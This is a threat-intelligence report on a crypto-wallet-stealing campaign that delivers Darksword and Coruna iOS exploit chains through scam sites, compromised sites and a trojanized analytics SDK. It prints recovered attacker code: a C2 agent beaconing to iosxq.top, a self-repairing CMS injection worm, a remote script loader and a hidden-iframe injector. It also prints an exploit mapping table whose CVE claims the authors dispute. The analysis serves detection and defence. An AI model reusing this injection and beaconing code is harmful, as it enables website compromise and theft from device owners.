NB : On October 7, 2026, Censys published a blog post describing largely the same tools and tradecraft (although we have some exclusive IOCs). We were unaware of this information when drafting our own article, even though we are publishing it at a later date. If you are interested in this modus operandi, we also recommend reading Censys article.
Summary
Our investigation uncovered a large-scale operation used to deliver Darksword and Coruna-related iOS exploit chains against cryptocurrency users through scam pages, compromised legitimate websites, watering-hole infrastructure, and potentially compromised supply-chain components.
We identified more than 1,300 websites participating (on purpose or not) in related delivery activity, including crypto, gambling, adult-content and legitimate compromised sites. Additional pivots exposed roughly ~100 Coruna delivery C2 and another ~100 pseudo-random domains associated with the initial C2 infrastructure.
The analysis of a single advertising identifier revealed another cluster of more than 3,000 malicious domains linked to FUNNULL threat actor (Triad Nexus) and the likely use of compromised CDNs to deliver malicious payloads on third-party websites.
The exposed backend and source code also revealed capabilities for iOS exploitation, command-and-control, wallet and Keychain collection, data exfiltration, and subsequent wallet password-recovery workflows, highlighting an industrialized infrastructure largely AI-powered for the development and enhancement of infection chains.
Where it started
We identified an exposed open-directory whose filenames suggested iOS exploitation, command-and-control (C2), and cryptocurrency-wallet theft. The directory was served from 154.13.7[.]145 on TCP port 9999.
A check on modat.io on this IP exposed several HTTP services. One page title, “🩸 加密钱包守护者 - 管理后台,” translates to “🩸 Crypto Wallet Guardian - Admin Dashboard.”
The exposed panel lists enrolled devices and their most recent beacon status, consistent with an operator-facing monitoring interface.
The panel showed four source IP addresses. One was the C2 host itself (154.13.7[.]145), two others mapped to residential-proxy providers AnyIP.
The same host also exposed a second interface on TCP port 12580 titled “QQTIME C2 管理后台” (“QQTIME C2 Management Backend”). Its functions appear oriented toward campaign and device management rather than simple beacon monitoring.
The interface then outlines the capabilities offered by the malware and provides some initial clues as to what it targets: cryptocurrency wallets.
Acquired open-directory content
At review time, the local acquisition contained 216 top-level files and 28 top-level directories. Recursively, it contained 13k+ files totaling approximately 1.10 GB:
- 124 Python source files, including infrastructure patching, wallet-processing, and post-exploitation utilities
- 91 JavaScript files, including C2 agents, delivery scripts, and exploit-labelled module
- 26 log files, including large HTTP and administrative logs dated July-September 2026
- Two result trees, c2_results and capture_bundle, containing wallet/keychain artefacts and extensive duplication
We won't explain everything found in the open directory, as that would take too long; existing explanations regarding Darksword and Coruna are sufficient to understand how the whole : fingerprinting => RCE => PAC bypass => sandbox escape exploit-chain => stealer install.
The code is heavily commented and repeatedly describes the intended chain. Those comments are useful leads but are not proof that every exploit stage is functional.
#!/usr/bin/env python3
"""
Crypto Wallet Guardian - Admin Server v3.0
Serves admin panel, wallet scanner, C2 beacon, AKS oracle endpoints
Enhanced with securscope.com architecture:
- iOS 18.7 exploit chain (rce_worker_18.7.js + rce_module_18.7.js)
- PE worker sandbox escape (pe_worker.js)
- AKS Keychain Oracle (aks-oracle.js)
- SpringBoard C2 implant (c2-springboard.js)
- DARKSWORD AES-256-ECB C2 protocol
"""
import http.server
import json
import sqlite3
import hashlib
The repository defines internal STAGE_MAP and IOS_EXPLOIT_MAP structures. These are developer claims, not a validated exploit inventory: several labels, version numbers, and CVE assignments conflict with public vulnerability records.
STAGE_MAP = {
0: "fingerprint", # Detect iOS version
1: "webkit_rce", # WebKit JIT exploit
2: "sandbox_escape", # Break out of WebContent sandbox
3: "container_scan", # Enumerate app containers
4: "wallet_extract", # Extract wallet databases
5: "keychain_read", # Read keychain items
6: "exfil_complete", # Data exfiltration complete
}
# iOS version → exploit method mapping
IOS_EXPLOIT_MAP = {
13: {"webkit": "dfg_oob_2019", "sandbox": "voucher_swap", "kernel": "CVE-2019-8641"},
14: {"webkit": "structure_id", "sandbox": "oob_timestamp", "kernel": "CVE-2021-1782"},
15: {"webkit": "icache_poison", "sandbox": "XPC_relay", "kernel": "CVE-2022-32894"},
16: {"webkit": "ftl_confusion", "sandbox": "Triangulation", "kernel": "CVE-2023-32434"},
17: {"webkit": "dfg_array_push", "sandbox": "XPC_audio", "kernel": "CVE-2023-41990"},
18: {"webkit": "jit_type_conf", "sandbox": "IMessage_relay", "kernel": "CVE-2025-24086"},
19: {"webkit": "ftl_phi_node", "sandbox": "Mach_port_UAF", "kernel": "CVE-2026-11534"},
20: {"webkit": "layout_ng_conf", "sandbox": "IOKit_userclient","kernel": "CVE-2026-40123"},
21: {"webkit": "wasm_jit_bug", "sandbox": "driver_kit", "kernel": "CVE-2026-40890"},
22: {"webkit": "layout_ng2_conf", "sandbox": "ANE_relay", "kernel": "CVE-2026-40167"},
23: {"webkit": "ai_jit_conf", "sandbox": "Neural_engine", "kernel": "CVE-2026-50138"},
24: {"webkit": "webcodecs_heap", "sandbox": "media_service", "kernel": "CVE-2026-50721"},
25: {"webkit": "wasm_gc_conf", "sandbox": "CFPrefs_relay", "kernel": "CVE-2026-60145"},
26: {"webkit": "neural_jit", "sandbox": "XPC_tccd", "kernel": "CVE-2026-80123"},
Each row maps an iOS major version to WebKit execution, sandbox escape, and kernel privilege escalation. The table below separates plausible or publicly documented elements from unsupported claims. One example is that Apple moved directly from iOS 18 to iOS 26, so rows labelled iOS 19-25 cannot represent released major versions. A name or CVE in this map does not establish that working exploit code is present.
The presence of a CVE in this table does not prove that a functional exploit code exists. The obvious targets of these exploits are cryptocurrency wallets installed on the targeted iPhones. This exploit kit lists 18 targeted wallets, including : Trust Wallet, MetaMask, Coinbase, Binance Web3, Phantom, Exodus, Blockchain.com, Keplr, OKX/Bitget, and others.
The c2_agent_decoded.js hard-codes iosxq[.]top for beaconing and result uploads.
// C2 Agent Payload - persistent loop in SpringBoard
// Communicates with command.py via HTTP, runs until reboot
// https://iosxq.top/beacon / https://iosxq.top/result replaced by server.py at load time
// UUID and device model are obtained natively at runtime
const C2_BEACON_URL = "https://iosxq.top/beacon";
const C2_RESULT_URL = "https://iosxq.top/result";
const C2_CHANNEL_CODE = "";
const HQ_API_BASE = "https://iosxq.top";
const HQ_WALLET_PORT = "443";
const MAX_FILE_SIZE = 2 * 1024 * 1024;
const CHUNK_SIZE = 1024 * 1024;
Once the entire exploit chain has been executed, persistence is achieved by injecting a “C2 agent” payload into SpringBoard (the iOS interface/UI process). This is JavaScript malware injected into a system process (SpringBoard/configd), which maintains an HTTPS beaconing loop until the device is rebooted. The analyzed source code mentions two additional domains:
- appvip[.]cyou: a FastAPI-backed administrative dashboard and a host for exploit-labelled files and trading-themed decoy content
sessions = {}
devices_cache = []
app = FastAPI(title="appvip.cyou Backend", docs_url=None, redoc_url=None)
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"])
- securscope[.]com: a label used by the local server for exploit-delivery and wallet-extraction components. The source demonstrates routing and encryption logic, it does not by itself prove that the public domain served these files.
Also, according to a comment in the C2-springboard.js agent, the files were likely stolen from securscope.com and reverse-engineered:
# === SECURSCOPE MODULES (securscope.com architecture) ===
if path == "/aks-oracle.js":
self._serve_file(STATIC_DIR / "aks-oracle.js", "application/javascript")
return
if path == "/c2-springboard.js":
self._serve_file(STATIC_DIR / "c2-springboard.js", "application/javascript")
return
if path == "/securscope-exploit-loader.js":
self._serve_file(STATIC_DIR / "securscope-exploit-loader.js", "application/javascript")
return
# Securscope exploit payloads (large files)
if path == "/rce_worker_18.7.js":
self._serve_file(STATIC_DIR / "rce_worker_18.7.js", "application/javascript")
return
We also identified a file called ios_exploit_fallback.js. This sample is heavily obfuscated and structurally identical to Coruna exploit-kit (either an earlier version or a forked and modified version of the exploit-kit).
This sample includes his own set of C2, used to pull next-stages delivery payloads:
We also identified at least 102 coruna-related C2 domains matching the same pattern. They all resolve to Cloudflare IPs (ASN13335). We consider all of them to be malicious, and some have already been tagged as such. The full C2 list will be added as an appendix below.
Infrastructure
The local deployment files identify appvip[.]cyou as the FastAPI-based administration service and contain hardcoded panel credentials. The IP address to which this domain resolved at the time of the investigation (202.95.13[.]219) exposed a login page on port 12580 explicitly mentioning “qqtime.” This page belongs to the “qqtime Operations Management Console,” a platform for centralized device management, task deployment, and communication log monitoring.
Several quick pivots on modat.io using forward DNS lookups for the domains identified on the initial IP (202.95.13.219) allow us to uncover a cluster of new domains and IPs (all hosted within ASN152194).
With no identifiable open-source reference for the “qqtime” framework, and given its observed use in malicious operations, it may be a privately developed or resold administration panel used by operators deploying tools such as “Darksword” and “Coruna” in crypto-scam and gambling-related operations.
Below is the list of domains identified and directly tied to the appvip[.]cyou backend:
Also, by pivoting through passive-DNS related to 154.13.7[.]145 (the initial C2 discovered) we discovered approximately 100 pseudo-random .info domains. They will be added as an appendix to the report.
At the time captured by the case data, iosxq[.]top resolved to 134.122.155[.]246. Pivots on TLS certificate identified two adjacent hosts presenting the same certificate.
These IPs are part of the same ASN which has been identified on numerous occasions in this report. Some of them are already detected as open-directory and they of course expose more or less the same web pages used to deliver darkword / coruna.
Delivery and persistence
Taken together, the interfaces and source code show a system designed to track devices, collect wallet and keychain data, and support password-recovery workflows. The code demonstrates these capabilities, but the available evidence does not establish the number of affected devices or whether every exploit stage worked in practice.
The remaining analytic question is how targets are routed to the exploit-labelled payloads.
We identified at least 3 websites that contacted iosxq[.]top:
- amormxa[.]com presented a dating-themed registration flow followed by a “wallet verification” step requesting recovery phrases or private keys under the pretext of receiving rewards. This one is more of a direct credential phishing scam.
- wemart[.]com, wenchaogroup[.]com and wenchaogroup[.]cn appeared to be legitimate WenChao Group properties. They should therefore be treated as potentially compromised infrastructure rather than actor-owned domains unless registration or administrative-control evidence shows otherwise.
We also recovered a file called safari-pop.js that attempts to move Facebook/Instagram in-app-browser users into Safari via a QR-code bridge through iosxq[.]top/qr-go and reports events to /api/v2/ingest. We identified the following infrastructure is part of the same cluster as amormxa[.]com. We also observed the domain loveguo88[.]blog deploying what seems to be a ShellA loader, potentially related to PanDa Android RAT reported by Intel4711. However, that is a completely different investigation that we might have the opportunity to undertake later.
The initial-access vector for the two apparently compromised corporate sites remains unknown.
The wemart[.]com artefact contains a site-specific persistence mechanism in wm-worm.js. It checks for an authenticated administrator session, reads records through CMS add-on APIs, and prepends the iosxq[.]top/c2-inject.js loader to nine database-backed fields.
function beacon(kv) {
try { (new Image()).src = 'https://iosxq.top/d.txt?wm_worm=' + kv + '&r=' + Math.random(); } catch (e) {}
}
/* 治愈一个插件表: 拉全量行, 缺失标签的字段原文前置 TAG 后回写(部分更新, 其他字段不动) */
function heal(addon, field, done) {
xhrGet('/addons/execute/wc_web-' + addon + '-index?page=1&limit=200', function (j) {
if (!j || !j.data || !j.data.length) { if (done) done(0); return; }
var rows = j.data, i = 0, edited = 0;
function next() {
if (i >= rows.length) { if (done) done(edited); return; }
var r = rows[i++];
var v = r[field] || '';
if (v.indexOf('c2-inject.js') >= 0) { next(); return; }
var d = { id: String(r.id) };
d[field] = TAG + v;
xhrPost('/addons/execute/wc_web-' + addon + '-edit', d, function (res) {
if (res && res.code === 1) edited++;
setTimeout(next, 400);
});
}
next();
});
}
This produces self-repairing stored script injections: deleting the loader from one affected field is insufficient if an authenticated administrator later loads another infected record and the worm writes the tag back.
/* 后台会话探测: 无会话 -> TP 302 到 Login 页(redirected), 有会话 -> 200 */
fetch('/admin/main/index.html', { credentials: 'include' }).then(function (r) {
if (r.redirected || r.status !== 200) return;
try {
if (sessionStorage.getItem('__wm_worm_run')) return;
sessionStorage.setItem('__wm_worm_run', '1');
} catch (e) {}
beacon('admin_hit');
step();
}).catch(function () {});
} catch (e) {}
})();
The worm explains a persistence and propagation mechanism, but not initial access. Plausible prerequisites include compromised administrator credentials, abuse of a CMS edit endpoint, or separate server-side access. The presence of wm-worm.js in the acquired server-side dataset is evidence of staging or deployment intent but it does not, by itself, prove how the site was first compromised.
Hunting the “qqtime” framework
That left us with one question: was qqtime a framework limited to our relatively small cluster and the small open directory we had found, or was it being used much more widely?
Unsurprisingly, its exploitation is far more extensive than what we initially discovered.
To give one example, we identified on a website the following requests:
- GET to https[:]//js.apiforxwork[.]net/qqtime/qqtime.html
- GET to https[:]//js.apiforxwork[.]net/qqtime/34ef644ff217a50beadde64dc8e23a7d.js -> Darksword
- GET to https[:]//ipv4.icanhazip.com
- POST to https[:]//1x8gmjbdq3tepgr.icu/api/ip-sync/sync
The flow is consistent with previously identified chains: calls to the main qqtime C2, deployment of Darksword / Coruna exploit-kit, IP check using the ipv4.icanhazip.com service and finally, beaconing to a .icu malicious domain.
We identified at least 1.3k+ websites, most of them are classic scam sites (crypto, gambling, adult websites) but there are also legitimate and compromised sites used as a watering hole (vulnerable WordPress sites or supply-chain compromises, often involving trojanized npm packages).
Given the scale, we believe this is merely the tip of the iceberg and that there must be far more compromised websites out there.
Note: This campaign remains highly active, and a very large number of compromised or malicious websites deploying these payloads can be identified.
A “FUNNULL” cluster and possible compromised CDN
By pivoting on the website title 🩸 加密钱包守护者 - 管理后台 we uncovered another 86 pseudo-random generated domains.
This allowed us to identify a new related cluster related to the domain a.360doo[.]cn resolving to “103.20.220[.]36”
This IP resolves many malicious domains, and we believe it might belong to a different adjacent cluster (maybe a common threat actor managing 2 distinct infrastructures).
Some of the identified domains or subdomains were created using known DynDNS services (eu.org, cloudns, digitalplat, dnsexit or freenom)
We have not investigated all of these domains, but as an example, the domain "suanjin[.]tk" was identified on the following website "http[:]//www[.]maoyingku3.me".
Again, using an iPhone with the correct version and a proxy in Asia, we were able to identify Darksword infection attempts. The full-infection chain observed is as follows:
First, the sdk.51.la/js-sdk-pro.min.js file is served on the main domain as the genuine SDK (v1.58.5) with an obfuscated block appended right after it.
The file is downloaded from https[:]//sdk.51[.]la/js-sdk-pro.min.js
The deobfuscated version of the script is the one that will load the first JavaScript of the infection chain:
function is_mob() {
// Skip desktops: same platform gate as the Socket-documented loaders
if (!/^Mac|Win/.test(navigator.platform)) {
var ua = navigator.userAgent.toLowerCase();
return /(iphone|ipad|android|mobile|phone|tablet)/.test(ua);
}
return false;
}
function loadJS(url, cb) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.onload = cb || function () {};
s.src = url;
document.getElementsByTagName('head')[0].appendChild(s);
}
if (is_mob()) loadJS('https://cdn.data-2935[.]com/app.vue.js');
The next payload is injected from edgecdnstatic.com/in-static.js file. During our attempts, requests made to cdn.data-2935[.]com/app.vue.js resulted in a 301 “Moved Permanently”. It is unclear if this was the intended outcome (we think so) but anyway the rest of the infection chain continued to run.
The deobfuscated version of this watering-hole injector stage is presented below:
(function () {
function injectHiddenIframe() {
// Only inject once per page
if (document.getElementById('hidden-iframe')) return;
var iframe = document.createElement('iframe');
iframe.id = 'hidden-iframe';
// Math.random() busts caches so every visit fetches a fresh copy
iframe.src = 'hxxps://www.edgecdnstatic[.]com/start-view.html?' + Math.random();
// Make the iframe invisible and non-interactive
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '-1000px';
iframe.style.width = '0';
iframe.style.height = '0';
iframe.style.pointerEvents = 'none';
iframe.style.border = '0';
// Insert as the first element in <body>
if (document.body.firstChild) {
if (document.body.prepend) {
document.body.prepend(iframe);
} else {
document.body.insertBefore(iframe, document.body.firstChild);
}
} else {
document.body.appendChild(iframe);
}
}
// Run
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', injectHiddenIframe);
} else {
injectHiddenIframe();
}
})();
Then, a secondary frame is loaded from what appears to be a CDN “edgecdnstatic[.]com”. The observed flow was the following:
- Navigate to http[:]//www[.]maoyingku3.me/
- GET to https[:]//sdk.51[.]la/js-sdk-pro.min.js => first stage injected iframe
- GET to https[:]//cdn.data-2935[.]com/app.vue.js => 301 moved permanently
- GET to https[:]//www[.]edgecdnstatic.com/98jgbibyeep2qfkvcq.html?0.9834193181307794 (through a secondary loaded frame) => 307 temporary redirect
- GET to https[:]//suduncdn[.]net/assets/js/group.html => 307 temporary redirect
- GET to https[:]//gewc61.cc/assets/js/group.html => final C2
Right after, the darksword payloads are requested from the C2:
A final Cloudflare web analytics beacon is made to the C2 (gewc61[.]cc), that sends anonymous page-load performance metrics (timings, browser info, and the site token). During our attempts to retrieve the final payload, under certain conditions it was possible to be simply redirected to an ad-fraud / gambling page such as: https[:]//www.jcddha[.]vip:6600/register?agent_code=56105992.
A single Google Analytics ID leads to more than 3,000 malicious domains
At point it seemed quite clear that the complete infrastructure associated with this cluster clearly matched the TTPs of FUNNULL (Triad Nexus) a group already well described previously by SilentPush2 but also socket.dev3 which also provided an explanation of the delivery chain with originally, the compromise of NPM packages.
51.la is a popular, long-standing Chinese web analytics and traffic statistics service provider also known as "我要啦" (Woyao La). It provides SDK used for traffic monitoring, web data analysis, SEO optimization and other e-commerce & marketing functionalities. In our case we believe that the exploit chain might be related to a compromised (intentional or not) CDN belonging to this company as the first trojanized SDK payload was distributed by a legitimate URL: https[:]//sdk.51[.]la/js-sdk-pro.min.js.
Also, it is worth mentioning that one of the observed malicious CDN: edgecdnstatic[.]com is part of an infrastructure related to yunray[.]ai (a domain identified in the socket.dev report). The email address admin@yunray[.]ai is associated to more than 400 domains, all malicious. According to SilentPush, Yunrai is one of the name/front used by FUNNUL group that use professional branding to manufacture trust.
Below is an example of one Telegram channel identified that advertises CDN acceleration services with DDoS protection and defense capabilities. Obviously, the CDN infrastructure is also being heavily monetized at the customers' expense...
Families and variants of the same trojanized SDK
We also identified 52 trojanized variants of sdk.51.la/js-sdk-pro.min.js and observed deployed in the wild against the following websites:
Conclusion
During our research, we also identified a significant number of other clusters of servers delivering darksword or coruna-related payloads. Most of these payloads are already known and well-documented but the scale of the infrastructure deploying them, as well as the targeting of supply chains (NPM packages, CDN compromised, waterholing staging) to deliver these payloads is truly staggering. Many of the identified payloads show clear signs of AI-assisted development, and some servers directly expose evidence of an agent’s automated work regarding deployment, vulnerability research or weaponization of these payloads.
The next step, of course, is to weaponize the mechanisms behind these exploit kits for use against more recent versions of iOS. For instance, in one case, we also recovered payloads associated with vulnerabilities that do not have open-source PoCs published at the time of analysis.
We are not certain that these payloads are effective, however, this demonstrates a growing trend toward the accelerated development and weaponization (facilitated by LLMs) of n-day vulnerabilities.
What we can be certain of, however, is that the leak of Darksword and Coruna exploits-kit, revealed by Google’s teams, is particularly alarming and comes at a truly terrible time, given that:
- Autonomous AI agents are compromising websites or infecting NPM packages at scale
- Compromised sites are being used to deploy highly sophisticated exploit kits that allow even low-skill actors to launch zero-click iOS attacks
- A vast number of iPhone users worldwide rely on older models that can no longer receive security updates
IOCs
https://github.com/OWNsecurity/Yet-Another-Darksword-Campain-Targeting-Cryptocurrency-Wallets
References
- https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
- https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
- https://www.lookout.com/news-release/lookout-uncovers-darksword-ios-exploit-chain
- https://www.iverify.com/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
- https://www.silentpush.com/blog/triad-nexus-funnull-2026/
- https://socket.dev/blog/packagist-themes-ios-spyware
- https://c2huntersresearch.com/blog/2026-09/inside-one-attackers-server/
- https://safedep.io/art-template-npm-supply-chain-compromise/
- https://securelist.com/coruna-framework-updated-operation-triangulation-exploit/119228/
- https://socket.dev/blog/coruna-respawned-compromised-art-template-npm-package
- https://github.com/khanhduytran0/coruna
- https://censys.com/blog/darksword-coruna-open-directory-finding-report/
- https://aviatrix.ai/threat-research-center/p7-darksword-ios-exploit-kit-crypto-wallet-theft-2026/
- https://c2huntersresearch.com/blog/2026-09/inside-one-attackers-server/
